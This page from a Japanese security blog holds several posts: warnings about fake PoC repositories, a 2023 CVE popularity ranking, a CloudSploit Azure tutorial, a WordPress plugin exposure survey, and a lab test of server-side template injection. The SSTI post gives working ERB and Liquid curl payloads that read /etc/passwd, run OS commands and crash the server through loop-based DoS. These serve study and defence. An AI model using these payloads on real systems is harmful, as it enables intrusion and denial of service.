まったり技術ブログ

Webエンジニアのセキュリティブログ

多数のスターが付けられた偽PoCにご注意

TL;DR

  • 詐欺師はGitHubアカウントを複数用意して、偽PoCのリポジトリにスターを付与する自演行為をしている。
     ➡︎ スターがついているからといって、PoCを無闇に信用しないようにしてください。

はじめに

 日々、PoC in GitHub の RSS を眺めていますが、最近になって"偽PoCのリポジトリが増えてきている"気がしたので、原因を調べてみました。

ここで言う「偽PoC」の特徴は以下のようなものです。

  • PoCと見せかけたマルウェア
  • PoCはビットコインで販売(実際にPoCが提供されるかは不明)

 偽PoCについては以下をご参照ください。 Microsoft Exchange のゼロデイ脆弱性:ProxyNotShell の偽 PoC が販売されている – IoT OT Security News

偽PoC

偽PoCのリポジトリを見る

 下画像のようにリポジトリ名が「CVE-2024-21334-POC」と「CVE-2024-21334」 のPoCと見せかけた、SatoshiDisk というビットコイン支払サイトへの誘導があるリポジトリがあります。

 ひと目では脆弱性の説明があり問題ないリポジトリのように見えます。

 Readme の下まで見てみると結局、PoCの記載は無く、SatoshiDisk へのリンクがあります。

 アクセスするとビットコイン支払えばPoCを提供するような記載があります。
(※PoCが提供される保証は無い)

偽PoCリポジトリに付与されたスター数を見る

 PoCリポジトリの信頼度はスター数によって変わるかと思いますので、このリポジトリに付けられているスターを見てみます。

 スター数は 9個 付いており、少なくとも9人が良いと判断したPoCだと信用してしまいます。
(脆弱性が公開されて日が経っていないのであれば、尚更信用すると思います。)

 ここに罠があります。このスターを付けた9つのアカウントは悪意ある1人よって作成されたアカウントとなっています。

偽PoCにスターを付与したアカウントを見る

 偽PoCにスターを付けたアカウントをもう少し詳しく見てみます。

 各アカウントで偽PoCのリポジトリを保持しており、相互でスターを付与しあっていることが確認できます。

■ アカウント1
■ アカウント2
■ アカウント3
■ アカウント4
■ アカウント5
■ アカウント6
■ アカウント7
■ アカウント8
■ アカウント9

詐欺アカウントを通報

これらのアカウントは通報します。通報は非常に簡単ですので詐欺アカウントを見かけた方は通報することをオススメします。

このような詐欺アカウントは詐欺PoCのリポジトリしか保持していないことが多く、通報後すぐに削除されることが多いです。

通報対象アカウントのトップ

偽PoCリポジトリのURLは忘れずに記載

通報完了

まとめ

  • PoCの信ぴょう性はスターの有無だけで判断しない。
    • 詐欺アカウントはそこも見越して複数アカウントを作成し、自演で複数のスターを付けている。
  • PoC実行する際は「PoCを作成したアカウントの新旧」の確認も必須。(今回紹介した事例はビットコイン支払いの誘導ですが)
  • 可能であれはソースコードの確認もする。


2023年 人気脆弱性 TOP 10 in GitHub

はじめに

2023年も終わりが近づいてきたということで、毎年恒例の『人気脆弱性トップ10(2023年版)』を発表していきます。

ちなみに前年のランキングは次のようになっています。

スコア 公表日 CVE ID リポ数 スター合計
1位 2,924 2022/03/07 CVE-2022-0847 80 2,124
2位 2,176 2022/04/01 CVE-2022-22965 70 1,476
3位 2,131 2022/06/03 CVE-2022-26134 62 1,511
4位 1,683 2022/06/01 CVE-2022-30190 75 933
5位 1,479 2022/04/11 CVE-2022-22954 26 1,219
6位 1,475 2022/05/05 CVE-2022-1388 61 865
7位 1,289 2022/03/03 CVE-2022-22947 55 739
8位 821 2022/11/01 CVE-2022-3602 8 741
9位 766 2022/09/21 CVE-2022-39197 13 636
10位 753 2022/12/15 CVE-2022-46689 3 723

過去の結果はコチラから

スコアの計算方法

ランキングに利用するスコアの算出方法です。

  • ① リポジトリ毎に 10pt
  • ② スター毎に 1pt

「①+②の合計pt」でランキングを付けています。

対象となる脆弱性(2022年からの変更あり)

対象となる範囲を前回から変更し、12月に公開された脆弱性は当年の調査対象から除外するようにしました。
12月に公開された脆弱性が不利にならないようにすることが目的となっています。

(例)2023年が調査対象になる場合

  • 変更前
    • 「CVE-2023-*」
  • 変更後
    • 「CVE-2023-*」かつ「公表日が 2022/11/30 以前」
    • 「CVE-2022-*」かつ「公表日が 2022/12/01 以降」

(変更した経緯があり、前回ランクインした脆弱性が今回もランクインしています。)

2023年 人気脆弱性 TOP 10 in GitHub

10位 573 pt - Atlassian社の Confluence Data Center および Server におけるアクセス制御破損の脆弱性(CVE-2023-22515)

リポジトリ数: 18 / スター数: 393

  • Atlassian社が提供している「Confluence Server」「Data Center」の脆弱性
  • リモートより承認なしに「管理者アカウント」を作成し、インスタンスに対してアクセスすることが可能
  • 本脆弱性を利用したと思われる不正なアクセスが一部顧客(ユーザ)より報告を受けている
  • 既知の国家攻撃者が CVE-2023-22515 を積極的に悪用していることを示唆する証拠を得られている
  • CISA KEV に追加(2023年10月5日)

【PoC】

【参考】

9位 574 pt - Citrix社のネットワーク機器 Citrix ADC および Citrix Gateway に認証不要のRCEの脆弱性(CVE-2023-3519)

リポジトリ数: 14 / スター数: 434

  • Citrix社の「Citrix NetScaler ADC(Citrix ADC)」および「NetScaler Gateway(Citrix Gateway)」の脆弱性
  • 悪用されると、認証されていない遠隔の第三者が任意のコードを実行が可能
  • Citrixは脆弱性を悪用する攻撃を確認している
  • CISA KEV に追加(2023年7月19日)
  • JPCERT/CC から注意喚起あり

【PoC】

【参考】

8位 605 pt - Linux kernel の権限昇格の可能性の脆弱性 (CVE-2023-0386)

リポジトリ数: 8 / スター数: 525

  • 一般権限アカウントで脆弱な Linux システムへの侵入に成功した攻撃者は、root 権限への昇格が可能

【PoC】

【参考】

7位 686 pt - パスワード管理ツール「KeePass」にメモリダンプでマスターパスワードを復元できる脆弱性(CVE-2023-32784)

リポジトリ数: 8 / スター数: 606

  • KeePassは Windows・Mac・Linux 上で動作する人気のオープンソースのパスワードマネージャー
  • 実行中のプロセスのメモリからマスターキーを平文で抽出することができる脆弱性
    • マスターキーにより攻撃者は保存されているすべての認証情報にアクセスすることができるようになる

【PoC】

【参考】

6位 732 pt - Linuxの標準Cライブラリ(GNU Cライブラリ)におけるバッファオーバーフローの脆弱性(CVE-2023-4911 / Looney Tunables)

リポジトリ数: 13 / スター数: 602

  • 2023年10月に発見されたLinuxの標準Cライブラリ(GNU Cライブラリあるいはglibc)におけるバッファオーバーフローの脆弱性
  • 攻撃者は脆弱性を悪用し、root権限への昇格や不正アクセスを行うことが可能
  • CISA KEV に追加(2023年11月21日)

【POC】

【参考】

5位 770pt - Microsoft社の WinSock 用 Windows Ancillary Function Driver に権限昇格の脆弱性 (CVE-2023-21768)

リポジトリ数: 9 / スター数: 680

  • Microsoft Windows 11 とMicrosoft Windows Server 2022 が対象
  • Microsoft Windows OS に SYSTEM 権限への昇格が可能となる脆弱性

【PoC】

【参考】

4位 795 pt - ImageMagick の検証不備により任意のファイルが読み取り可能となる脆弱性(CVE-2022-44268)

リポジトリ数: 23 / スター数: 565

  • 悪意のある PNG ファイルの変換により、システム上の任意のファイルが読み取られる

【PoC】

【参考】

3位 998 pt - Windows社の Microsoft Outlook における特権昇格の脆弱性 (CVE-2023-23397)

リポジトリ数: 25 / スター数: 748

  • Windows Microsoft Outlook クライアントの脆弱性
  • 脆弱性を悪用することで、攻撃対象ネットワークのアカウントと認証情報を窃取すること、もしくはマルウェアなどのペイロードを送り込むことが可能になる
  • ユーザの介在を必要としない(ゼロタッチ)の脆弱性
  • CISA KEV に追加(2023年3月14日)

www.youtube.com

【PoC】

【参考】

2位 1,543 pt - RARLAB WinRAR のZIPファイル閲覧時に任意のコード実行となる脆弱性 (CVE-2023-38831)

リポジトリ数: 38 / スター数: 1,163

  • ZIP アーカイブ内の良性のファイルを閲覧しようとする際に攻撃者による任意のコード実行が行われる可能性
  • Group-IB の調査結果によると、この脆弱性は2023年4月以降にトレーダーを標的にするゼロデイ攻撃で利用された
  • CISA KEV に追加(2023年8月24日)

www.youtube.com

【PoC】

【参考】

1位 1,847 pt - macOS における権限昇格される脆弱性(CVE-2022-46689 / MacDirtyCow)

リポジトリ数: 13 / スター数: 1,717

  • iPhoneの改造に利用されている脆弱性
    • 一般(?)iPhoneユーザが利用する脆弱性のため人気と考えられます
  • App がカーネル権限で任意のコードを実行できる可能性があります。

www.youtube.com

【PoC】

【参考】

まとめ

今年の結果をまとめたのが以下の表です。

半分の脆弱性が CISA KEV に記載されており、「人気の脆弱性 ≒ 悪用される脆弱性」と言えるでしょう。

また KEV に登録されていなくても、「Linux Kernel」や「ImageMagick」のようなシェアの大きいソフトウェアの脆弱性も人気であることが分かります。

スコア 公表日 CVE ID リポ数 スター
合計
CVSS
基本値
KEV EPSS
(2023/12/18)
EPSS
Percentile
1位 1,847 2022/12/15 CVE-2022-46689 13 1,717 7.0 0.004670000 0.728290000 macOS における権限昇格される脆弱性
2位 1,543 2023/08/23 CVE-2023-38831 38 1,163 7.8 0.234040000 0.961100000 RARLAB WinRAR のZIPファイル閲覧時に任意のコード実行となる脆弱性
3位 998 2023/03/14 CVE-2023-23397 25 748 9.8 0.892850000 0.984770000 Windows社の Microsoft Outlook における特権昇格の脆弱性
4位 795 2023/02/06 CVE-2022-44268 23 565 6.5 0.013800000 0.848370000 ImageMagick の検証不備により任意のファイルが読み取り可能となる脆弱性
5位 770 2023/01/10 CVE-2023-21768 9 680 7.8 0.016680000 0.862570000 Microsoft社の WinSock 用 Windows Ancillary Function Driver に権限昇格の脆弱性
6位 732 2023/10/03 CVE-2023-4911 13 602 7.8 0.018070000 0.867950000 Linuxの標準Cライブラリ(GNU Cライブラリ)におけるバッファオーバーフローの脆弱性
7位 686 2023/05/15 CVE-2023-32784 8 606 7.5 0.001040000 0.422090000 パスワード管理ツール「KeePass」にメモリダンプでマスターパスワードを復元できる脆弱性
8位 605 2023/03/22 CVE-2023-0386 8 525 7.8 0.000420000 0.057550000 Linux kernel の権限昇格の可能性の脆弱性
9位 574 2023/07/19 CVE-2023-3519 14 434 9.8 0.890420000 0.984580000 Citrix社のネットワーク機器 Citrix ADC および Citrix Gateway に認証不要のRCEの脆弱性
10位 573 2023/10/04 CVE-2023-22515 18 393 9.8 0.955290000 0.992300000 Atlassian社の Confluence Data Center および Server におけるアクセス制御破損の脆弱性

2024年にはどのような脆弱性が出てくるのか楽しみです。
では良いお年を!!

【入門】無料で始めるCSPM(Azure 編)

はじめに

 前回の記事ではOSSのCSPMツールである「CloudSploit」を用いてAWS環境のセキュリティ診断を行う方法を紹介しました。

CSPM(Cloud Security Posture Management)の簡単な説明は、この記事に記載しています。

blog.motikan2010.com

 今回はCloudSploitを用いて、Azure環境に対してセキュリティ診断を実施していきます。

環境

 Cloudsploit を動作させるためには Nodejs が必要です。本検証では以下のバージョンを利用しています。

Node.js 18.16.0

Azureから認証情報の取得手順

 CloudSploit を用いてAzure環境を診断する場合には、Azureにログインして下記4種類の値の取得する必要があります。

  • Application ID (アプリケーション ID)
  • Directory ID (ディレクトリ ID)
  • Client secrets の value (クライアントシークレットの値)
  • Subscription ID (サブスクリプション ID)

 それらの値の取得手順を以下に記載します。

アプリケーションの登録

  1. Azure ポータルにログインし、「Azure Active Director」サービスに移動します。
  2. App registrations」を選択し、「New registration」をクリックする。
  3. Name」フィールドに「CloudSploit」などの分かりやすい名前を入力します。
  4. Supported account types」のデフォルトは「Accounts in this organizational directory only (YOURDIRECTORYNAME)」のままにしておきます。
  5. 「Register」をクリックします。
  6. Application ID」をコピーしてメモします。
  7. Directory ID」をコピーしてメモします。

クライアントシークレットの作成

  1. Certificates & secrets」をクリックする。
  2. 「Client secrets」の下にある「New client secret」をクリックする。
  3. "Description"(例:Cloudsploit-2019)を入力し、"Expiers"に「Recommended: 180 days (6 months)」を選択します。
  4. 「Add」をクリックします。
  5. クライアントシークレットの値をメモします。
    (※クライアントシークレットの値は一度だけ表示されます。)

検査用ロールの割り当て

  1. Subscriptions」に移動します。
  2. 関連する「Subscription ID」メモして、IDをクリックします。
  3. Access Control (IAM)」をクリックします。
  4. Role assignments」タブに移動します。
  5. Add」をクリックし、「Add role assignment」をクリックします。
  6. 「Role」のドロップダウンで「Security Reader」を選択します。
  7. 「Assign access to」はデフォルト値のままにしておきます。
  8. 「Select」ドロップダウンに、作成したアプリ登録名(例:"CloudSploit")を入力し、選択します。
  9. Next」、そして「Review + assign」をクリックする。
  10. 同様に「Log Analytics Reader」ロールを付与します。

セキュリティ診断の実施

 Cloudsploit を実行するための認証情報を取得できたので、次は設定を行っていきます。

インストールと設定

-- ソースコードの取得
$ git clone https://github.com/aquasecurity/cloudsploit.git

-- 執筆時点の最新バージョンに切り替える
$ git checkout 7fce62cac57330019e886ea282d0a57a953b74f8

-- 必要なライブラリのインストール
$ npm install

-- 設定ファイルのコピー
$ cp config_example.js config.js

 コピーした「config.js」を編集します。編集前は下画像の箇所がコメントアウトされているため、コメントを解除します。

 Azure から取得した情報を環境変数に設定します。

$ export AZURE_APPLICATION_ID="<Application ID (アプリケーション ID)>"
$ export AZURE_DIRECTORY_ID="<Directory ID (ディレクトリ ID)>"
$ export AZURE_KEY_VALUE="<Client secrets の value (クライアントシークレットの値)>"
$ export AZURE_SUBSCRIPTION_ID="<Subscription ID (サブスクリプション ID)>"

検査の実施

 「index.js」ファイルを実行することで検査を実施することができます。

 以下のコマンドで検査を実施できます。

$ ./index.js --config=./config.js --cloud=azure --console=none --json=./results.json --compliance=pci

 コマンドに指定しているオプションの説明は次のとおりです。

オプション 説明
--config=./config.js 先ほど編集した設定ファイルを反映します。
--cloud=azure Azure 環境に対して検査を実施します。
--console=none 検査結果をターミナル上に出力しないようにします。
--json=./results.json 検査結果をJSONファイルに出力するようにします。
--compliance=pci PCI DSS に基づいた検査項目のみ検査します。

検査結果を確認

 検査結果がJSONファイルに出力されていることが確認できます。

$ cat results.json | head -n 20
[
  {
    "plugin": "networkAccessDefaultAction",
    "category": "Storage Accounts",
    "title": "Network Access Default Action",
    "description": "Ensures that Storage Account access is restricted to trusted networks",
    "resource": "N/A",
    "region": "eastus",
    "status": "OK",
    "message": "No storage accounts found",
    "compliance": "PCI: PCI requires data access to be configured to use a firewall. Removing the default network access action enables a more granular level of access controls."
  },
(以下省略)

 検査結果をTSVファイルに変換して「エクセル」や「Google スプレッドシート」などで表示することで検査結果が見やすくなります。

$ cat results.json | jq -r '.[] | [.plugin, .category, .title, .description, .resource, .region, .status, .message, .compliance] | @tsv' > result.tsv

 例の検査結果では、以下の3つが検出されていることが確認できます。

  • ネットワークセキュリティグループの設定で「SSH (22 番ポート)が全ての送信元にオープン状態」
  • ネットワークセキュリティグループの設定で「RDP (3389 番ポート)が全ての送信元にオープン状態」
  • ネットワークセキュリティグループの設定で「MySQL (3306 番ポート)が全ての送信元にオープン状態」

まとめ

CloudSploitを活用することにより簡単にAzure環境のセキュリティ診断を行うことができました。
これで十分なのかと言われるとそうではないですが、クラウドセキュリティを検討する際の入り口として活用できると思います。

「SSTI(サーバサイド・テンプレート・インジェクション)経由のDoS攻撃」を試す

TL;DR

  • プログラムが書けないテンプレートエンジンでも大量ループのテンプレートの挿入でシステムを落とせるヨ

はじめに

 SSTI(Server-Side Template Injection : サーバサイド・テンプレート・インジェクション) の与える影響範囲はテンプレートエンジンによって変わるとふと思いました。

 SSTI に着目してみると、テンプレートエンジンは以下の2つに大別されます。

  • いろいろな機能を持つテンプレートエンジン」
  • 最低限の機能のみを持つテンプレートエンジン」

 本記事では後者の「最低限の機能のみを持つテンプレートエンジン」に焦点を当てて検証を行なっていきます。

 まずは、両方のテンプレートエンジンの比較(検証 ①)。

 最後(検証 ②)で SSTI(サーバサイド・テンプレート・インジェクション)経由の DoS攻撃を実施し、システムを落とすことが可能であることを確認します。

 カッコよく言うと『DoS via Server-Side Template Injection』というやつです。

検証 ① 一般的な攻撃

 Ruby環境で用いられるテンプレートエンジンの「ERB」と「Liquid」に対してインジェクションを実施していきます。

  • いろいろな機能を持つテンプレートエンジン :ERB
  • 最低限の機能のみを持つテンプレートエンジン:Liquid

 検証で利用したコードは以下のリポジトリで公開しています。

github.com

 コードはシンプルで name パラメータの値がテンプレートで生成できるようになっています。
 (値がテンプレートに渡される訳ではない!!テンプレートとなってしまう!!という脆弱性です。)

 まずは、以下3パターンの処理をテンプレートエンジンで実現できるかを確認します。

 どの処理もセキュリティ診断で脆弱性を検出した際に、その脆弱性を利用して試してみる処理内容だと思います。

  • パターン1: 簡単な演算
  • パターン2: 任意のファイルの読み込み
  • パターン3: OSコマンドの実行

 検証結果を始めに記載しますが、「Liquid」の方はやはりテンプレートエンジンとしての最低限の機能しか持っておらず、できる処理は少ないという結果になりました。

テンプレートエンジン ERB Liquid
簡単な演算
任意のファイルの読み込み
OSコマンドの実行

 では、検証結果の詳細です。

ERB テンプレートエンジン

パターン1: 簡単な演算

▼ インジェクションする文字列: 「<%= 7 * 7 %>

# curl 'http://127.0.0.1:4567/erb?name=%3c%25%3d%20%37%20%2a%20%37%20%25%3e'

▼ 出力結果

hi 49

パターン2: 任意のファイルの読み込み

▼ インジェクション文字列: 「<%= File.open('/etc/passwd').read %>

# curl 'http://127.0.0.1:4567/erb?name=%3c%25%3d%20%46%69%6c%65%2e%6f%70%65%6e%28%27%2f%65%74%63%2f%70%61%73%73%77%64%27%29%2e%72%65%61%64%20%25%3e'

▼ 出力結果

hi root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

パターン3: OSコマンドの実行

▼ インジェクション文字列: 「<%= IO.popen('id').readlines() %>

# curl 'http://127.0.0.1:4567/erb?name=%3c%25%3d%20%49%4f%2e%70%6f%70%65%6e%28%27%69%64%27%29%2e%72%65%61%64%6c%69%6e%65%73%28%29%20%25%3e'

▼ 出力結果

hi ["uid=0(root) gid=0(root) groups=0(root)\n"]

Liquid テンプレートエンジン

 「最低限の機能のみを持つテンプレートエンジン」の代表である Liquid の検証を行います。

パターン1: 簡単な演算

 まずは、Rubyの構文に従った乗算を行います。

▼ インジェクションする文字列: 「{{ 7 * 7 }}

# curl 'http://127.0.0.1:4567/liquid?name=%7b%7b%20%37%20%2a%20%37%20%7d%7d'

▼ 出力結果

hi 7

 出力の期待値は49なので、乗算が行われていないようです。

 Liquid について調べてみると乗算には「フィルタ」を利用する必要があります。

https://shopify.dev/docs/api/liquid/filters/times

 乗算を実現する「times」フィルタを用いて再度検証します。

▼ インジェクション文字列: 「{{ 7 | times: 7 }}

# curl 'http://127.0.0.1:4567/liquid?name=%7b%7b%20%37%20%7c%20%74%69%6d%65%73%3a%20%37%20%7d%7d'

▼ 出力結果

hi 49

 無事期待値が出力されました。このことから Liquid には Ruby の構文はそのまま利用できないことが分かりました。
 (そのため SSTI に対してはセキュア)

 以降は Liquid の構文に従いながら各処理パターンが実現できるかを確認していきます。

パターン2: ファイルの読み込み

 Liquid で別ファイルの読み込みを行うために include タグが用意されているようです。

https://shopify.dev/docs/api/liquid/tags/include

 以下のテンプレートをインジェクションできれば「passwd」ファイルの読み込みができそうです。

▼ インジェクション文字列: 「{% include '/etc/passwd' %}

# curl 'http://127.0.0.1:4567/liquid?name=%7b%25%20%69%6e%63%6c%75%64%65%20%27%2f%65%74%63%2f%70%61%73%73%77%64%27%20%25%7d'

▼ 出力結果

hi Liquid error: This liquid context does not allow includes.

 読み込みは失敗し、「Liquid error: This liquid context does not allow includes.」というエラーメッセージが表示されました。

 少し調べてみましたが、Liquidは事前に読み込みを許可するファイルパスを指定する必要があり、許可されているファイルパス以外へのアクセスであるためエラーが発生しているようでした。

Liquid ファイルシステムは、インクルードタグで使用するために、テンプレートが他のテンプレートを取得できるようにする方法です。
Liquid::Template.file_system = Liquid::LocalFileSystem.new(template_path)
liquid = Liquid::Template.parse(template)

https://github.com/Shopify/liquid/blob/v5.4.0/lib/liquid/file_system.rb#L4

 この許可はプログラム(Ruby)上で記述する必要があり、デフォルトの状態では「/etc/passwd」などの任意のファイルを読み込むのは難しいそうです。

パターン3: OSコマンドの実行

 Liquid ではOSコマンドを実行する手段は用意されていないようでした。

 (ドキュメントを軽く見た感じ、そのようなフィルタやタグは見当たらなかった。)

検証結果

 改めて検証結果を記載しますが、Liquid のサーバサイド・テンプレート・インジェクションはあまりシステムに影響を与えることは難しそうです。

テンプレートエンジン ERB Liquid
簡単な演算
任意のファイルの読み込み
OSコマンドの実行

 次は、 Liquid に対してサーバサイド・テンプレート・インジェクションを利用した DoS攻撃ができるかを検証していきます。

検証 ② DoS攻撃

 本検証ではテンプレート・インジェクションで大量ループを発生させることで、以下のことができるかを確認します。

  • システムに負荷を掛ける
  • システムを落とす

 ちなみに Liquid の for文 の記述方法はこのようになります。

{% for i in (1..10) %}
{% assign hoge = i | plus: i %}
{% endfor %}

https://shopify.github.io/liquid/tags/iteration/

大量ループで負荷を掛ける

10 回ループ → 0.018 秒

# time curl 'http://127.0.0.1:4567/liquid?name=%7B%25+for+i+in+%281..10%29+%25%7D%0D%0A%7B%25+assign+hoge+%3D+i+%7C+plus%3A+i+%25%7D%0D%0A%7B%25+endfor+%25%7D'
hi
real    0m0.018s

1,000 回ループ → 0.023 秒

# time curl 'http://127.0.0.1:4567/liquid?name=%7B%25+for+i+in+%281..1000%29+%25%7D%0D%0A%7B%25+assign+hoge+%3D+i+%7C+plus%3A+i+%25%7D%0D%0A%7B%25+endfor+%25%7D'
hi
real    0m0.023s

1,000,000 回ループ → 6.387 秒

# time curl 'http://127.0.0.1:4567/liquid?name=%7B%25+for+i+in+%281..1000000%29+%25%7D%0D%0A%7B%25+assign+hoge+%3D+i+%7C+plus%3A+i+%25%7D%0D%0A%7B%25+endfor+%25%7D'
hi
real    0m6.387s

100,000,000 回ループ → 1 分 5.994 秒

# time curl 'http://127.0.0.1:4567/liquid?name=%7B%25+for+i+in+%281..10000000%29+%25%7D%0D%0A%7B%25+assign+hoge+%3D+i+%7C+plus%3A+i+%25%7D%0D%0A%7B%25+endfor+%25%7D'
hi
real    1m5.994s

 top コマンドでサーバ上の負荷を確してみます。「%Cpu(s): 99.3 us」となっておりサーバに負荷が掛かっていることが確認できました。

top - 08:30:47 up 31 min,  2 users,  load average: 0.59, 0.53, 0.26
Tasks: 115 total,   1 running,  69 sleeping,   0 stopped,   0 zombie
%Cpu(s): 99.3 us,  0.7 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  2006252 total,  1560000 free,   249416 used,   196836 buff/cache
KiB Swap:        0 total,        0 free,        0 used.  1614816 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
  2806 root      20   0  319712 111484   8452 S 99.3  5.6   0:04.44 ruby  

大量ループでシステムを落とす

さらにループ回数を増やしてシステムを落とすことが可能かを確認します。

  • 1. ターミナル(標的)

 サーバを起動します。

# docker-compose up
[+] Running 1/0
 ⠿ Container liquid-erb-ssti-app-1  Created
Attaching to liquid-erb-ssti-app-1
liquid-erb-ssti-app-1  | [2023-07-15 08:32:36] INFO  WEBrick 1.6.1
liquid-erb-ssti-app-1  | [2023-07-15 08:32:36] INFO  ruby 2.7.8 (2023-03-30) [x86_64-linux]
liquid-erb-ssti-app-1  | == Sinatra (v3.0.6) has taken the stage on 4567 for development with backup from WEBrick
liquid-erb-ssti-app-1  | [2023-07-15 08:32:36] INFO  WEBrick::HTTPServer#start: pid=7 port=4567
  • 2. ターミナル(攻撃者)

 先の検証よりループ回数を増やしたテンプレートをインジェクションします。

# curl 'http://xxx.yyy.zzz.221:4567/liquid?name=%7B%25+for+i+in+%281..10000000000%29+%25%7D%0D%0A%7B%25+assign+hoge+%3D+i+%25%7D%0D%0A%7B%25+endfor+%25%7D'
curl: (52) Empty reply from server
  • 3. ターミナル(標的)

 しばらくすると、サーバが落ちました。

liquid-erb-ssti-app-1  | Killed
liquid-erb-ssti-app-1 exited with code 137

 これでサーバサイド・テンプレート・インジェクション経由の DoS でシステムを落とすことができることを確認できました。

まとめ

  • 機能が絞られているテンプレートエンジンのSSTIでも可用性の面で大きな影響を与えることができる。
    • 任意のファイル読み込みなどは難しそう。
  • 私は本検証で用いたテンプレート詳しくないので他に攻撃方法はあるかもしれない。(知っていたら是非ご教示を。)

WordPressプラグイン「Ultimate Member」の Unauthenticated Privilege Escalation(CVE-2023-3460) の普及度調査

TL;DR

  • 「Ultimate Member」が導入されている 1,168 サイトを調査対象
  • 脆弱性が修正されているバージョン(2.6.7)を利用しているサイトは 約40%
  • 攻撃を受けた痕跡は確認できず

脆弱性の概要

 WordPress プラグインである「Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin」の脆弱性です。

 アクティブインストール数は 20万以上であり人気のあるプラグインということもあり本脆弱性は警戒されています。

 脆弱性に関する情報は以下のサイトが分かりやすいです。2023年7月6日時点でWPScanからのPoCは公開されておらずで2023年8月1日に公開する予定らしい。

ja.wordpress.org

https://wpscan.com/vulnerability/694235c7-4469-4ffd-a722-9225b19e98d7

 このプラグインは、訪問者が任意の機能を持つユーザーアカウントを作成することを防止しないため、事実上、攻撃者が自由に管理者アカウントを作成することを許してしまう。  この脆弱性は実際に悪用されています。

 CVE IDは「CVE-2023-3460」が採番されている。

PoC

 WPScan からのPoCの公開はありませんが、GitHubでは既に公開されています。

github.com

 ちなみに後述する調査はこのPoCが公開される前に実施しています。

脆弱性の流れ

  • 2023-06-04 : 本脆弱性を悪用した攻撃成功を観測 (Pressable.com / WP.cloud の監視システム)
  • 2023-06-26 : Slavic Dragovtev が Ultimate Member に特権昇格の脆弱性を報告
  • 2023-06-27 : バージョン 2.6.4 リリース (まだ脆弱性有り)
  • 2023-06-27 : 一部のプラグインユーザが自分のサイトに攻撃を受けたとフォーラムに投稿
  • 2023-06-28 : バージョン 2.6.5 リリース (まだ脆弱性有り)
  • 2023-06-29 : WPScan がブログを投稿 → 脆弱性がパブリックになる
  • 2023-07-01 : バージョン 2.6.7 リリース (脆弱性修正済み)

「Hacking Campaign Actively Exploiting Ultimate Member Plugin - WPScan WordPress Security」からの抜粋。
blog.wpscan.com

◆ 攻撃を受けた旨のフォーラム

Register role ignored and user became an admin | WordPress.org

調査

 日本国内でのこのプラグインの普及度や利用しているバージョン情報などを確認していきます。

利用バージョンの確認

約80万(80,3632)の WordPress サイトを確認

 まずは、約80万の WordPress サイトに対して Ultimate Member が導入されているサイトを絞り込みます。
(プラグインの有効・無効は関係なし)

結果: 1,168 サイトで Ultimate Member が導入されていることを確認

1,168 サイトの Ultimate Member のバージョンを確認

 調査対象で利用されていた Ultimate Member のバージョンの割合は以下の結果なりました。

 本脆弱性が修正されているバージョンは 2.6.7 であり、約40%の環境で導入されており最も多い結果となっています。

 しかし、残りの約60%は脆弱性が未修正のバージョンを利用している結果となっています。
(前提として バージョン2.6.7 未満には脆弱性あるとしています。古すぎるバージョンには脆弱性がない場合もあります。)

導入数とバージョンの全体
導入数    バージョン
476 2.6.7
5   2.6.6
75  2.6.5
1   2.6.4
3   2.6.3
4   2.6.2
16  2.6.0
3   2.5.4
6   2.5.3
4   2.5.1
4   2.5.0
18  2.4.2
17  2.4.1
3   2.4.0
19  2.3.2
36  2.3.1
42  2.3.0
42  2.2.5
19  2.2.4
3   2.2.3
8   2.2.2
4   2.2.0
3   2.1.9
7   2.1.8
13  2.1.7
33  2.1.6
32  2.1.5
6   2.1.4
10  2.1.3
15  2.1.21
19  2.1.20
8   2.1.2
10  2.1.19
5   2.1.17
28  2.1.16
47  2.1.15
10  2.1.13
12  2.1.12
10  2.1.11
5   2.1.10
3   2.1.1
2   2.1.0
13  2.0.56
1   2.0.55
1   2.0.54
1   2.0.53
1   2.0.52
1   2.0.51
9   2.0.49
3   2.0.48
1   2.0.47
5   2.0.43
1   2.0.41
1   2.0.40
5   2.0.39
9   2.0.38
1   2.0.37
4   2.0.35
3   2.0.33
4   2.0.29
3   2.0.25
3   2.0.21
2   2.0.17
1   1.3.89
7   1.3.88
1   1.3.87
1   1.3.86

バックドア用アカウントの確認

 本脆弱性は権限不要で攻撃対象サイトに管理者権限アカウントを追加できるというものです。

 被害を受けた際には以下の名前のアカウントが作成されることが確認されているようです。

  • apadmin
  • wpenginer
  • wpadmins
  • wpengine_backup
  • se_brutal
  • segs_brutal

 そこで Ultimate Member のバージョン関係なくこのプラグインを利用しているサイトのユーザ一覧を取得し、これらのアカウントが存在するのかを確認します。

 もしこれらのアカウントが存在する場合はサイトが被害を受けている可能性があるということになります。
(あくまで調査時のアカウント状態であり、被害後にアカウントを削除している可能もあります。)

 以下のように 2,948 アカウントを取得することができました。

 しかし、その中に上記6つのバックドア用アカウントは存在していませんでした。

まとめ

  • 脆弱性が修正されているバージョンを利用しているサイトは 約40% と少な目
  • 確認できた範囲では攻撃を受けた被害はない(不正なアカウントやサイトの改ざん など)
  • とはいえ、まだ PoC は公開されていない状態のため、公開後に攻撃が増える可能性がある

 執筆時のPoCが公開されたので、後日また調査したいと思います。

参考

サブドメイン列挙ツール「subfinder」を試した

TL;DR

はじめに

subfinder とは

